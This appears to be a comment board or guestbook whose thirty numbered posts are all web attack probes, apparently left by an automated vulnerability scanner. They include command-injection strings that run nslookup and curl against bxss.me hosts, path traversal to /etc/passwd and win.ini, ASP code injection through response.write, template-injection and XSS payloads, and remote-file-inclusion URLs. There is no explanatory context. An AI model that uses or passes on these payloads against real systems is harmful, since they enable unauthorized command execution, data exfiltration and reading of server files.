[No.30]  by.1

<a HrEF=jaVaScRiPT:>

[No.29]  by.1

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

[No.28]  by.1

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

[No.27]  by.1

dfb{{'abcd'.toUpperCase()}}xca

[No.26]  by.1

dfb{{{this}}}xca

[No.25]  by.1

dfb{{"abc"|title}}xca

[No.24]  by.1

<!--

[No.23]  by.1

contentsPageComment.html/.

[No.22]  by.1

'"

[No.21]  by.1

contentsPageComment.html

[No.20]  by.1

contentsPageComment.html

[No.19]  by.1

bxss.me/t/rfi.php?%00

[No.18]  by.1

bxss.me/t/xss.html?%00

[No.17]  by.1

'"()

[No.16]  by.1

redirtest.acx

[No.15]  by.1

!(()&&!|*|*|

[No.14]  by.1

bxss.me

[No.13]  by.1

c:/windows/win.ini

[No.12]  by.1

../../../../../../../../../../../../../../etc/shells

[No.11]  by.1

)

[No.10]  by.1

/etc/shells

[No.9]  by.1

`(nslookup -q=cname hitgqfxzkgpxw04533.bxss.me||curl hitgqfxzkgpxw04533.bxss.me)`

[No.8]  by.1

&nslookup -q=cname hitmdmywtirng80ac4.bxss.me&'\"`0&nslookup -q=cname hitmdmywtirng80ac4.bxss.me&`'

[No.7]  by.1

../../../../../../../../../../../../../../windows/win.ini

[No.6]  by.1

$(nslookup -q=cname hitqeglgmulqhb624b.bxss.me||curl hitqeglgmulqhb624b.bxss.me)

[No.5]  by.1

(nslookup -q=cname hitcriqxqarow28f49.bxss.me||curl hitcriqxqarow28f49.bxss.me))

[No.4]  by.1

../../../../../../../../../../../../../../etc/passwd

[No.3]  by.1

"+response.write(9975763*9674458)+"

[No.2]  by.1

'+response.write(9975763*9674458)+'

[No.1]  by.1

response.write(9975763*9674458)